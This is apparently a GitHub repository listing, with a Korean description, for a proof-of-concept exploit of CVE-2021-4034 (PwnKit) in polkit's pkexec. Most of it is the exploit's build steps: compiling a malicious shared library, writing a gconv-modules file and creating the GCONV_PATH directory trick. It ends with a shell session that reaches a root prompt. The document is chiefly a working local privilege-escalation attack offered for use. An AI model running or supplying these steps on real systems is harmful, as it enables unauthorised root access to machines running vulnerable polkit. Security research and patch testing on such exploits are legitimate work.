nagorealbisu/cve-2021-4034CVE-2021-4034 (PwnKit)에 대한 개념 증명 익스플로잇으로, polkit의 pkexec에서 공유 라이브러리 주입을 통해 루트 권한으로 상승시킵니다.
$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
$ ./cve-2021-4034
# whoami
root
# exit